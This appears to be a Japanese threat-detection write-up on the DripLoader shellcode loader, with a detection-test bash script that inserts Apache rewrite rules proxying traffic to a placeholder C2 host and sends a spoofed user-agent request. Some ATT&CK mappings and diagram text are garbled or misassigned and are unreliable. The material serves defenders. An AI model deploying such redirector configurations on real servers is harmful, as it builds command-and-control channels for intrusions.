DripLoaderマルウェア:シェルコード実行と防御回避
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
この記事では、メモリを割り当て、シェルコードをそれに書き込み、ページの許可を実行可能に切り替えて実行するシェルコードローダーであるDripLoaderを調査します。HTTPSリダイレクターを介してHavoc C2フレームワークによって提供されるローダーの仕組みや、そのコードを圧縮と間接システムコールを用いて難読化する方法について解説します。また、.nodeサイドローディングと追加の回避手法に依存するDripLoaderNGというアップグレードバリアントも紹介し、現実的な検出ガイダンスとメモリアナリシスツールも提示します。
調査
調査では、HavocがカスタムApacheリダイレクターを通じて圧縮されたシェルコードを送信するラボセットアップについて説明します。ローダーは64KBの領域を予約し、4KBのページをコミットし、保護フラグを変更してペイロードを実行します。DripLoaderNGは間接システムコールと、Slack Electronアプリケーションを対象とした.nodeモジュールサイドローディングを導入しています。Moneta、PE-sieve、サポートされているKQLクエリなどのツールを使用した検出が示されています。
緩和策
緩和策には、疑わしいHTTPSリダイレクトの監視、偽のユーザーエージェント文字列の発見、希少な.nodeファイルのフラグ設定、EDR機能を活用して間接システムコールの動作を確認することが含まれます。さらに、AMSI改ざんを減らし、署名されていないネイティブモジュールの実行を制限するためにSliver/Donutの設定を調整することを推奨します。
対応
アクティビティが検出された場合、影響を受けたエンドポイントを分離し、問題のプロセスを停止し、メモリダンプを取得し、注入されたシェルコードを調査します。C2ドメインまたはIPをブロックし、公開された資格情報をリセットし、特定のユーザーエージェントと.nodeファイルのインジケーターに対する防御ルールを展開します。法医学分析を実施し、観察された間接システムコールパターンをカバーするために検出コンテンツを更新します。
graph TB %% Class Definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Technique Nodes step_initial_access[“<b>Technique</b> – <b>T1090 プロキシ</b><br /><b>説明</b>: HTTPS リダイレクトと偽装した User-Agent を使用して悪意のあるペイロードを配信し、Web トラフィック上でコマンド&コントロール通信を確立する。”] class step_initial_access technique step_c2[“<b>Technique</b> – <b>T1102.002 Web サービス: 双方向通信</b><br /><b>説明</b>: HTTPS Web サービスを介して攻撃者と通信し、双方向の C2 を実現する。”] class step_c2 technique step_obfusc_compress[“<b>Technique</b> – <b>T1027.015 圧縮</b><br /><b>説明</b>: LZMS によりペイロードを圧縮し、静的解析やシグネチャベースの防御から内容を隠蔽する。”] class step_obfusc_compress technique step_obfusc_compile[“<b>Technique</b> – <b>T1027.004 配信後コンパイル</b><br /><b>説明</b>: 検知回避を強化するため、ペイロードは配信後にコンパイルされる。”] class step_obfusc_compile technique step_process_injection[“<b>Technique</b> – <b>T1055.002 ポータブル実行形式インジェクション</b><br /><b>説明</b>: DripLoader が仮想メモリを割り当て、シェルコードをコピーし、ページ保護を変更して正規プロセス内で実行する。”] class step_process_injection technique step_reflective_loading[“<b>Technique</b> – <b>T1620 リフレクティブコードロード</b><br /><b>説明</b>: OS ローダーを使用せず、コピーされたシェルコードをメモリにリフレクトして実行する。”] class step_reflective_loading technique step_dll_injection[“<b>Technique</b> – <b>T1055.001 DLL インジェクション</b><br /><b>説明</b>: 悪意のある .node モジュール(DLL)が Slack プロセスにサイドロードされ、信頼されたアプリケーション配下でコード実行を可能にする。”] class step_dll_injection technique step_persistence[“<b>Technique</b> – <b>T1546.009 AppCert DLL</b><br /><b>説明</b>: サイドロードされた DLL が Application Certification DLL として登録され、システム起動時の実行を保証する。”] class step_persistence technique step_evasion_cred_api[“<b>Technique</b> – <b>T1056.004 認証情報 API フック</b><br /><b>説明</b>: 間接的なシステムコールを使用してネイティブ Windows API を呼び出し、ユーザーモード EDR フックを回避する。”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>Technique</b> – <b>T1027.005 ツールからのインジケータ削除</b><br /><b>説明</b>: Sliver/Donut の設定を変更し AMSI パッチ適用を無効化、アンチマルウェアによる検知を防止する。”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>Technique</b> – <b>T1027.008 ストリップされたペイロード</b><br /><b>説明</b>: デバッグ情報やメタデータを削除し、フォレンジック痕跡を最小化する。”] class step_evasion_stripped technique step_masquerade[“<b>Technique</b> – <b>T1036.008 ファイル種別の偽装</b><br /><b>説明</b>: 悪意のある .node ファイルを正規のネイティブモジュールに見せかけ、想定されるアプリケーションファイルに紛れ込ませる。”] class step_masquerade technique step_server_component[“<b>Technique</b> – <b>T1505.003 サーバーソフトウェアコンポーネント: Web シェル</b><br /><b>説明</b>: Web リダイレクタを介してシェルコードとローダーを転送し、解凍後にターゲット上で実行する。”] class step_server_component technique %% Operator Nodes op_obfusc((“AND”)) class op_obfusc operator op_evasion((“AND”)) class op_evasion operator %% Connections step_initial_access u002du002d>|leads_to| step_c2 step_c2 u002du002d>|leads_to| step_obfusc_compress step_c2 u002du002d>|leads_to| step_obfusc_compile step_obfusc_compress u002du002d>|part_of| op_obfusc step_obfusc_compile u002du002d>|part_of| op_obfusc op_obfusc u002du002d>|leads_to| step_process_injection step_process_injection u002du002d>|leads_to| step_reflective_loading step_reflective_loading u002du002d>|leads_to| step_dll_injection step_dll_injection u002du002d>|leads_to| step_persistence step_persistence u002du002d>|leads_to| step_evasion_cred_api step_persistence u002du002d>|leads_to| step_evasion_indicator_removal step_persistence u002du002d>|leads_to| step_evasion_stripped step_evasion_cred_api u002du002d>|part_of| op_evasion step_evasion_indicator_removal u002du002d>|part_of| op_evasion step_evasion_stripped u002du002d>|part_of| op_evasion op_evasion u002du002d>|leads_to| step_masquerade step_masquerade u002du002d>|leads_to| step_server_component
攻撃フロー
シミュレーション実行
前提条件:テレメトリとベースラインの事前確認が合格していること。
根拠:このセクションでは、検出ルールをトリガーするように設計された敵対者の技術(TTP)の正確な実行を詳細に説明します。 コマンドと記述は、識別されたTTPを直接反映し、検出ロジックが期待する正確なテレメトリを生成することを目的とする必要があります。 抽象的または無関係な例は誤診につながります。
-
攻撃の説明とコマンド:
悪意のあるインフラストラクチャのオペレーターが、被害者のウェブサーバーをC2サーバーへの導管として設定します。彼らは、Apache 仮想ホスト構成に2つのRewriteRuleディレクティブを挿入します。1つはすべての受信トラフィックをhttps://C2.TeamServer.IP:443([P]フラグ)にプロキシし、もう1つは任意のリクエストを無害なGoogle URL([L,R=302])にリダイレクトします。Apacheをリロードした後、攻撃者はSigmaルールで定義された正確な偽のユーザーエージェント文字列を持つ不正なHTTPリクエストを発行します。Apacheはリクエストを処理し、ユーザーエージェントをログに記録し、リライトエンジンがプロキシアクションを記録することで、両方の検出条件を満たします。 -
回帰テストスクリプト:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader 検出検証スクリプト # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 1. 現在の設定をバックアップ sudo cp "$APACHE_CONF" "$BACKUP_CONF" # 2. 悪意のあるリライトルールを挿入 sudo bash -c "cat >> $APACHE_CONF <<'EOF' # BEGIN DripLoader Test Rules RewriteEngine On RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P] RewriteRule ^.*$ "https://www.google.com" [L,R=302] # END DripLoader Test Rules EOF" # 3. 変更を適用するためApacheをリロード sudo systemctl reload apache2 # 4. 正確に作成されたユーザーエージェントを持つ悪意のあるリクエストを発行 curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.366" http://localhost/ echo "悪意のあるリクエストが送信されました。SIEMで検出アラートを確認してください。" -
クリーンアップコマンド:
#!/usr/bin/env bash # ------------------------------------------------- # DripLoader 検出検証クリーンアップ # ------------------------------------------------- APACHE_CONF="/etc/apache2/sites-available/000-default.conf" BACKUP_CONF="/tmp/000-default.conf.bak" # 元の設定を復元 if [[ -f "$BACKUP_CONF" ]]; then sudo cp "$BACKUP_CONF" "$APACHE_CONF" sudo systemctl reload apache2 echo "元のApache設定を復元しました。" else echo "バックアップが見つかりません。手動でのクリーンアップが必要な場合があります。" fi